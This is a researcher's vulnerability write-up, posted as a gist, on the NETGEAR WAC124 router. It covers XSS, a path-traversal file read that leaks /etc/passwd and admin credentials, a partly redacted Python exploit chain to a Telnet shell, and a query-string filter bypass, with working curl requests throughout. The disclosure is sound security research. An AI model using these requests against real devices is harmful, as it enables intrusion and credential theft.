Skip to content

Instantly share code, notes, and snippets.

@stypr

stypr/README.md Secret

Created March 25, 2022 04:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stypr/27e28e0b85c050ec1343028cc9ee466c to your computer and use it in GitHub Desktop.
Save stypr/27e28e0b85c050ec1343028cc9ee466c to your computer and use it in GitHub Desktop.
Markdown Test

Preface

Hi, I'm stypr (@stereotype32 ) from Flatt Security Inc.

Last year, I wrote a blog post about technical explanations about 0days found in Japanese OSS products.

I have found a lot of vulnerabilities in various products since then. Unfortunately, most bugs I found did not get it fixed right away, so I did not get any chances to share some exciting vulnerabilities I found until today.

This article will explain how I found various vulnerabilities and chained some of the vulnerabilities into an unauthenticated command execution without any preconditions in a NETGEAR's WAC124(AC2000) router.

I spent about a week finding all these bugs and chained these bugs into two different exploits, one requiring a precondition and one not requiring a precondition.

The sad news was that NETGEAR only gives out bounties for Nighthawk and Orbi routers exclusively, which means I did not receive any bounties. However, It was fun to exploit as it was my first time to exploit this router apart from penetration tests and assessments.

It was so fun that I plan to dig some more vulnerabilities on other types of routers in the near future. I want to thank NETGEAR team for very kind and quick support.

Before Analysis

Before starting analysis on an embedded device, We also need to check what components are available from the device and how the router stores firmware. This is done to ensure that I use my time efficiently by not missing out on any unseen critical factors.

Specification of the router

While reading the hardware specification, we can notice that the CPU is built for the MIPS architecture.

I've used Ghidra(https://ghidra-sre.org/) this time as Ghidra seemed to give a decent performance and quality on decompiling MIPS-based binaries.

Furthermore, the router has a USB port for media sharing, which will later be used for exploiting a vulnerability.

Type Value
CPU MediaTek MT7621AT @880MHz MIPS
Memory 128MB (SDRAM) DDR3L
Storage 128MB SLC NAND Flash
Wi-Fi MediaTek MT7615N (802.11an+ac)
MediaTek MT7603EN (802.11bgn)
Network 5x Gigabit Ethernet ports
USB 1x USB 2.0 ports
Power 12V, 1.5A via barrel

Dumping the firmware

It is good to note that some routers/IoT devices require some fundamental hardware knowledge to dump the firmware from the router or even require you to get access through the Serial(UART) port to access the debug/dev terminal.

Fortunately, NETGEAR firmware is generally available from the official website, so we need to google a bit for the firmware model and download the appropriate firmware. The latest(vulnerable) version for WAC124 is V1.0.4.6 when writing this article. The bug was officially fixed in V1.0.4.7

After downloading the firmware, extracting the firmware is very simple. Download and install binwalk (https://github.com/ReFirmLabs/binwalk ) and squashfs-tools to extract the firmware.

As seen below, it is possible to easily extract the firmware's filesystem by using binwalk.

# binwalk -e ./WAC124.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I"
113984        0x1BD40         U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)"
262074        0x3FFBA         Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
2097152       0x200000        uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2097216       0x200040        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes
6291456       0x600000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44
48234496      0x2E00000       Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
48234624      0x2E00080       Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml
48262193      0x2E06C31       Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml
48275929      0x2E0A1D9       Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js
48320002      0x2E14E02       End of Zip archive
50331648      0x3000000       Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
50331776      0x3000080       Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml
50360412      0x300705C       Zip archive data, at least v2.0 to extract, compres
...
# cd _WAC124.bin.extracted/squashfs-root
# ls -al
total 156
drwxr-xr-x  13 root root  4096 Jun 21  2016 .
drwxr-xr-x 127 root root 69632 Sep  6 18:31 ..
lrwxrwxrwx   1 root root     9 Mar 20  2020 bin -> usr/sbin/
drwxrwxrwx   2 root root  4096 Aug 15  2015 data
drwxr-xr-x   2 root root  4096 Oct 19  2015 dev
lrwxrwxrwx   1 root root     8 Mar 20  2020 etc -> /tmp/etc
lrwxrwxrwx   1 root root    11 Mar 20  2020 etc_ro -> /tmp/etc_ro
drwxr-xr-x   2 root root  4096 Dec  2  2012 home
lrwxrwxrwx   1 root root    11 Mar 20  2020 init -> bin/busybox
drwxr-xr-x   5 root root 12288 Mar 20  2020 lib
drwxr-xr-x   2 root root  4096 Dec  2  2012 media
lrwxrwxrwx   1 root root     8 Mar 20  2020 mnt -> /tmp/mnt
drwxr-xr-x   6 root root  4096 Mar 20  2020 opt
drwxr-xr-x   2 root root  4096 Nov 13  2000 proc
lrwxrwxrwx   1 root root     9 Mar 20  2020 sbin -> usr/sbin/
drwxr-xr-x   2 root root  4096 Nov 17  2008 sys
drwxr-xr-x   2 root root  4096 Jul 29  2000 tmp
drwxr-xr-x  10 root root  4096 Jun 21  2016 usr
lrwxrwxrwx   1 root root     8 Mar 20  2020 var -> /tmp/var
lrwxrwxrwx   1 root root     8 Mar 20  2020 www -> /tmp/www
drwxr-xr-x   9 root root 32768 Mar 20  2020 www.eng

Some key files for this article

The following is the list of files mentioned throughout this article.

  • /bin/mini_httpd, mini_httpd: The HTTP server daemon

  • /bin/setup.cgi, setup.cgi: The CGI(ELF Binary) for processing configurations

  • /www.eng/: root directory for the httpd server

  • /etc/htpasswd: plaintext file of unencrypted credentials for the admin page authentication

    • Format of the file is username:password

Finding Cross-site Scripting (XSS)

It is generally a good idea to find some basic vulnerabilities such as Cross-site Scripting(XSS), as a lot of embedded devices in general are not sanitizing inputs properly for their web components.

With this in mind, I checked some possible HTM/HTML files in /www.eng/, and I found a very interesting template-like parameter called @usb_opener_htm# in usb_new_fld.htm.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
...
<script>
...
function browseDisk()
{
	var cf = document.forms[0];
	dataToHidden(cf);
	cf.todo.value = "browse";
	cf.next_file.value = "usb_fld_tree.htm";
	return true;
}

function end()
{
	opener.location.href = "@usb_opener_htm#";
	self.close();
}
...
</script>

I decided to take a deeper look at how this works, and it was found that there is a function called html_parser that parses the template from the accessed file.

I haven't gone through in details with this function, but what this function does was

  1. Reads the requested file, with some file extension checks (we will talk about this later in the article)

  2. Finds for @variable#

  3. Replaces the template string to the actual value.

undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
...
  fp = open(filename,0);
...
    read(fp,buf,0xffff);
    close(fp);
...
      tmp = strtok(buf,"@");
      while (tmp != (char *)0x0) {
        fputs(tmp,stdout);
        tmp = strtok((char *)0x0,"#");
        if (tmp != (char *)0x0) {
          memset(acStack131120,0,0xffff);
          ppcVar1 = param_3;
          do {
            while( true ) {
              ppcVar2 = ppcVar1;
              if (*ppcVar2 == (char *)0x0) goto LAB_00423e54;
              if (ppcVar2[1] != (char *)0x0) break;
              ppcVar1 = ppcVar2 + 6;
            }
            fp = strcmp(tmp,*ppcVar2);
            ppcVar1 = ppcVar2 + 6;
          } while (fp != 0);
...
LAB_00423e54:
          fputs(acStack131120,stdout);
        }
        tmp = strtok((char *)0x0,"@");
      }
      ret = 0;
    }
  }
  return ret;
}

Also, there seemed to be other functions that add usb_opener_htm to nvram and such, but I will not go through it as the content might become too long to put in a single blog post.

However, it seemed like some of the malicious inputs were blocked by the server.

So I decided to check the main function on setup.cgi, where I found that some illegal inputs from HTTP requests are blocked by the function named FindForbidValue.

undefined4 main(undefined4 param_1,char **param_2)
{
  ...
  int iVar8; // parsed input ptrptr?
  ...
  if (iVar8 == 0) {
    iVar8 = cgi_input_parse(param_1,param_2);
  }
  iVar1 = FindForbidValue(iVar8);
  if (iVar1 != 0) {
    iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c);
    if (iVar8 != 0) {
      (**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b);
      (**(code **)(local_30 + -0x7b40))("Invalid input value!\n",iVar8);
      (**(code **)(local_30 + -0x7a9c))(iVar8);
    }
    send_forbidden();
    return 0;
  }
  ...
}

While reading the decompiled code of FindForbidValue, I found that some parameters such as ;, || and backticks (`) are blocked by the filter, but XSS didn't seem to be blocked properly.

As long as these checks are bypassed, XSS would definitely work.

uint FindForbidValue(int **param_1)

{
  int iVar1;
  char **ppcVar2;
  char *__s1;
  undefined4 uVar3;
  char **ppcVar4;
  char *__s;
  char **ppcVar5;
  
  uVar3 = 0;
  if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) &&
     (ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) {
    do {
      do {
        ppcVar4 = (char **)ppcVar2[1];
        if (ppcVar4 == (char **)0x0) {
          __s = *(char **)(*ppcVar2 + 4);
          __s1 = strchr(__s,0x60);
          if (__s1 != (char *)0x0) {
            return 1;
          }
          __s1 = strstr(__s,"||");
          if (__s1 != (char *)0x0) {
            return 1;
          }
          __s1 = strchr(__s,0x3b);
          return (uint)(__s1 != (char *)0x0);
        }
        ppcVar5 = (char **)*ppcVar2;
        __s = ppcVar5[1];
        __s1 = strchr(__s);
        ppcVar2 = ppcVar4;
      } while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) &&
              (__s1 = strstr(__s,"||"), __s1 == (char *)0x0));
      __s1 = *ppcVar5;
      iVar1 = strcmp(__s1,"ssid");
    } while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) ||
            ((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 ||
             (iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0))));
    uVar3 = 1;
  }
  return uVar3;
}

After a few trials of tests, I made the XSS work reliably without any problem.

However, my main objective was to trigger a shell while being an unauthenticated user.

I decided to take a serious look at other useful features. Although finding these vulnerabilities might look useless to some security researchers, finding XSS helped me refresh my mind before starting the static analysis.

Finding Unauthenticated Arbitrary File Read

I found out some weird behaviors from the next_file parameter while testing setup.cgi with a help of the manual static analysis,

When the user is not logged in, accessing files with .htm, .html, .asp will redirect the user to the login page, whereas accessing files with .png, .xml and other types of image extensions do not return any responses at all.

$ curl -H "User-Agent: Mozilla/5.0" \ 
          'http://www.routerlogin.net/setup.cgi?next_file=../x.htm'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.html'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.asp'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.png'
curl: (52) Empty reply from server

$ curl -H "User-Agent: Mozilla/5.0" \ 
          'http://www.routerlogin.net/setup.cgi?next_file=../x.xml'

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg'
curl: (52) Empty reply from server

However, we see some irregularities on the outputs here. For some reason, .xml does not return empty responses.

So, I decided to read existing files with path traversals and later found out that existing .xml files can be read whereas the next_file parameter cannot read existing image files.

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png'
curl: (52) Empty reply from server

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/image/sso/BG-Image.png'

Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

Now we have two things to figure out at this point.

  1. Why did xml files return outputs while .png and .jpg files didn't? Did it crash?

  2. Why did htm, asp, html files return the login page?

Analyzing the template routine

I decided to look at setup.cgi again, and realized that html_parser is always called when the next_file parameter is passed to the function main.

undefined4 main(undefined4 param_1,char **param_2)
{
...
    pcVar1 = (char *)find_val(iVar8,"next_file");
    if (pcVar1 == (char *)0x0) {
      iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen);
      if (iVar8 == 0) {
        return 0;
      }
      (**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a);
      (**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###\n",iVar8);
      (**(code **)(puVar10 + -0x7a9c))(iVar8);
      return 0;
    }
...
LAB_00405d08:
  html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8));
  return 0;
}

Looking back at the html_parser function, it looks like the server checks whether the value of next_file contains (NOT ends with, strstr) .html, .xml or .html.

undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
  char **ppcVar1;
  int debug_fp;
  int fp;
  char *tmp;
  FILE *log_fp;
  undefined4 ret;
  char **ppcVar2;
  char acStack131120 [65536];
  char buf [65544];
  
...
  tmp = strstr(filename,".htm");
  if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
     (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
    return 0xffffffff;
  }
  fp = open(filename,0);
  if (fp < 0) {
    fprintf(stdout,"Can\'t open file %s",filename);
    ret = 0xffffffff;
  }
  else {
    read(fp,buf,0xffff);
    close(fp);
    tmp = strstr(filename,".xml");
    if (tmp == (char *)0x0) {
      tmp = "text/html";
    }
    else {
      tmp = "text/xml; charset=utf-8";
    }
    mime_header(tmp);
    if (*filename == 'h') {
      fputs(buf,stdout);
      ret = 0;
    }
...

But as we see in the first few trials, the login page was returned for asp, html and htm extensions, and it didn't seem to pass through this routine.

I later found out that this kind of behavior was caused by mini_httpd, which is the HTTP daemon of the router. I also assumed that .png and other image extensions are also affected by the daemon, so I decided not to take a further look since we have .xml file extension working at this point.

So, we know that any valid file containing .xml on the filename will open properly. What should we do next?

Exploiting to trigger the system shell

Let's take a look at the html_parser function again.

  tmp = strstr(filename,".htm");
  if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
     (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
    return 0xffffffff;
  }
  fp = open(filename,0);

It does strstr for the file extension check, which means that it DOES look for the existence of file extensions in the supplied filename, but that does not mean that the path has to end with one of those given file extensions.

This could mean that file paths such as path/to/file/blah.xml/1234 or path/test.xml.asdf are still considered valid file paths.

So what we can do now is to create a valid folder like valid_folder.xml and do path traversal from that folder to read an arbitrary file.

Now, we have the remaining problem of creating an invalid folder that contains .xml on its name. As mentioned earlier in this article, we have a USB port on this router. So I decided to create a folder named evil.xml on my USB drive and inserted this malicious drive into the router.

PS F:\> tree f v /F
F:\
└─evil.xml

The next step is to find the correct location of the mounted USB drive in the router. It was found out that the format of the mounted USB drive's location is in /mnt/shares/%c, as seen from the setup.cgi.

With all these things in my mind, I decided to brute-force the name of the drive and…

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd'  

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd'  

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd'

...

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd'  

root::0:0:root:/:/bin/sh
nobody::0:0:Nobody:/:/sbin/sh

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd'

admin:Test1234

Voila! It worked like a charm. We now have admin's credentials in our hands.

From now, all we need is to log in as an administrator, enable Telnet from the debug mode and then spawn the shell.

RCE#1 Exploit PoC (With preconditions)

Assuming that the router has the SMB server open without any credentials, we can just log in to the SMB server anonymously and upload the folder named exploit.xml on the mounted disk and perform an arbitrary file read to leak the administrator's credentials.

To prevent people from running the exploit all over the internet, I decided to remove some codes from the actual exploit. It shouldn't be too difficult to make this snippet usable, though.

def smb_upload_folder():
    """
    Upload xml file via SMB
    """
    anonymous_smb_and_upload("exploit.xml")

def perform_path_traversal():
    """
    Performs the path traversal attack in three steps

    1. Perform a path traversal to check if the bug works
    2. Do SMB bruteforce to leak /etc/passwd
        - 00492900 ... "/tmp/mnt/shares/%c/%s"
        - We just need to bruteforce from A ~ Z
    3. Leak remaining important files
    """
    found_char = None

    for _char in string.ascii_uppercase:
        payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd"
        result = try_path_traversal(payload)

        # check if /etc/passwd is leaked
        if "root::0:0:root:/:/bin/sh" in resp:
            print("[.] Successfully leaked /etc/passwd!")
            print(resp)
            found_char = guess_char
            break

    if not found_char:
        print("[!] Failed to exploit..")
        return False

    # Leak /etc/htpasswd
    payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd"
    result = try_path_traversal(payload)

    print(f"[.] Successfully leaked /etc/htpasswd!")
    print(result)
    return result

def login(username, password):
    """
    Login with username and password
    """
    return session

def enable_debug_mode(session):
    """
    Access debug.htm to enable debug mode
    """
    return True

def trigger_shell(htpasswd):
    """
    Use the /etc/htpasswd to login as admin.
    After authentication, enable debug mode and get shell.
    """
    username, password = htpasswd.strip().split(":")
    admin_session = login(username, password)
    enable_debug_mode(admin_session)
    with Telnet('www.routerlogin.net', 23) as session:
        session.read_until(b"login: ")
        session.write(username.encode() + b"\n")
        session.write(password.encode() + b"\n")
        session.interact()

if __name__ == "__main__":
     smb_upload_folder()
     htpasswd = perform_path_traversal()
     if htpasswd:
        print("[.] Path Traversal Success! Let's get shell now..")
        trigger_shell(htpasswd)
     else:
         print("[-] Failed..")

It's not over yet!

The drawback of this exploit is the precondition to achieve this attack.

Since my main objective was to get the shell without being unauthenticated and without any precondition, I decided to look deeper at other files such as mini_httpd.

Finding Authentication Bypass

As seen earlier in the Arbitrary File Read, some file extensions didn't seem to pass through setup.cgi, so I decided to take a deeper look at mini_httpd, which is the HTTP daemon module of the router.

Interestingly, this mini_httpd seemed to be a customized version from the original ACME's http://www.acme.com/software/mini_httpd/ project.

Unfortunately, the customized build seemed to be somewhat far different from the original build, so I decided not to look at the official source code.

After disassembling the mini_httpd and reading codes for a while, there seemed to be some kinds of checks in a function called path_exist, and the code was a bit interesting:

uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack)
{
  char *needle;
  int iVar1;
  char *pcVar2;
  char bufPath [1024];
  char *tmp;
  
  ...
  needle = strstr(requested_path,".gif");
  if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0))
      && (needle = strstr(requested_path,".js"), needle == (char *)0x0)) &&
     (((needle = strstr(requested_path,".xml"), needle == (char *)0x0 &&
       (needle = strstr(requested_path,".png"), needle == (char *)0x0)) &&
      (needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) {
    return 0;
  }
  needle = strstr(requested_path,".htm");
  if (needle != (char *)0x0) {
    return 0;
  }
  needle = strstr(requested_path,"html");
  if (needle == (char *)0x0) {
    ...
    needle = strstr(requested_path,"todo=");
    if (needle != (char *)0x0) {
      return 0;
    }
    ...
    memset(bufPath,0,0x400);
    strncpy(bufPath,requested_path,0x3ff);
    iVar1 = strncmp(bufPath,"/setup.cgi?",0xb);
    if (iVar1 == 0) {
      needle = strstr(bufPath,"next_file=");
      if (needle == (char *)0x0) {
        return 1;
      }
      pcVar2 = strchr(needle,0x26);
      if (pcVar2 == (char *)0x0) {
        return 1;
      }
...
      *pcVar2 = '\0';
      pcVar2 = strstr(needle,".gif");
      if (pcVar2 != (char *)0x0) {
        return 1;
      }
...
      pcVar2 = strstr(needle,".js");
      if (pcVar2 != (char *)0x0) {
        return 1;
      }
      pcVar2 = strstr(needle,".png");
    }
    else {
...
      needle = strstr(bufPath,".xml");
      if (needle != (char *)0x0) {
        return 1;
      }
      pcVar2 = strstr(bufPath,".png");
      needle = bufPath;
    }
    if (pcVar2 != (char *)0x0) {
      return 1;
    }
    needle = strstr(needle,".jpg");
    return (uint)(needle != (char *)0x0);
  }
  return 0;
}

It seemed too complicated to look at first sight. However, after reading this function and its related codes, I found out that the whole point of these codes is just to ensure that the unauthenticated user can only have access to certain types of file extensions.

This path_exist function basically

  1. checks if your path does not contain .htm, .html, .asp or such.

  2. checks if your path does not contain some dangerous characters that could cause unexpected behaviors, such as todo, etc.

Bypassing some filters

I decided to bypass the todo= filter first since this parameter is essential for us to perform some important requests to the server.

Let's first try with the existing payload we have in our hands.

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd> 

Now, let's see what happens with when we change e to %65 from the parameter's name.

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd> 

It still works perfectly even when the query string is encoded. In this case, we now know that the whole query string is decoded internally.

Now, let's add todo= on the request.

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?todo=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>%         

As we see, the server redirects the user to the login page (unauthorized request) as it is considered as an invalid path.

What if we change d to %64 from the todo parameter's name?

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" href="style/basic.css?v=1046">
<script language=javascript type=text/javascript src=funcs.js></script>
<script language=javascript type=text/javascript src="basic.js?v=1046"></script>
<script language=javascript type=text/javascript src=top.js></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<title>NETGEAR Router WAC124</title>
<meta http-equiv=content-type content='text/html; charset=UTF-8'>
<meta content="MSHTML 6.00.2800.1141" name="GENERATOR">
...
var guest="0";
var sso_error="0";
...
</script>

<body onload="loadvalue();" onResize="change_size();">
<form  onsubmit="return false">
  <div id="top">
    <iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe>
  </div>
  <div id="container" class="container_center">
    <div id="middle">
      <div id="menu">
        <div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div>
        <div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span  languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div>
        <div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div>
        <div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div>
        <div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div>
        <!--
	<div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div>
-->
        <div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div>
        <!--
	<div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div>
-->
        <div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div>
        <div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div>
      </div>
      <!--div id="mini_height"> </div-->
      <div id="formframe_div">
        <iframe name="formframe" id="formframe"  allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe>
      </div>
      <div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif">
        <div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> &nbsp; <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div>
        <div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b>
          <input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" >
          <input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055">
        </div>
      </div>
    </div>
  </div>
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>

For some unknown reason, passing todo= returned the output of authenticated index.htm, which is supposed to be shown only for authenticated users.

At this point, we now know that this string check is possible to bypass, and we also know that some unexpected behaviors are happening from the server.

Fuzzing the HTTP request

After some possible bypasses in the query string, I also found some weird behaviors when the HTTP request is sent by curl.

$ curl 'http://192.168.0.100/test' -v
*   Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /test HTTP/1.1
> Host: 192.168.0.100
> User-Agent: curl/7.64.1
> Accept: */*
> 
(null) 403 Forbidden
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 11:32:54 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>403 Forbidden</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>403 Forbidden</h4>
Curl is forbidden
</BODY>
</HTML>
* Closing connection 0

Do you see the first line of output? It sends (null) 403 Forbidden as a response.

At this point, I stopped to think further since this mini_httpd seemed like it had many unknown behaviors that appeared to be challenging to trace the root cause. Instead of looking further, I decided to write a dumb HTTP path fuzzer to find out some possible bypasses for the mini_httpd.

After running the fuzzer for 20~30 minutes, I was able to bypass the authentication and get access without any prior authentication.

I'm removing the actual payload for your homework. It should be fun for you to create an HTTP fuzzer too. I think it is still possible to find authentication bypasses on other NETGEAR models, so this one is just for you. It seemed like some other security researchers have found similar or identical bugs by fuzzing the path, so it may be worth creating your own fuzzers. 🙂

Anyways, I've just developed a simple dumb fuzzer with a prefix of a valid path. You can possibly create something like my fuzzer and perform some fuzzing on the HTTP protocol.

curl 'http://192.168.0.100/***REDACTED***' -H "User-Agent: Mozilla/5.0" -v                                                                                              ] 9:09 PM
*   Trying 192.168.0.100...
* TCP_NODELAY set
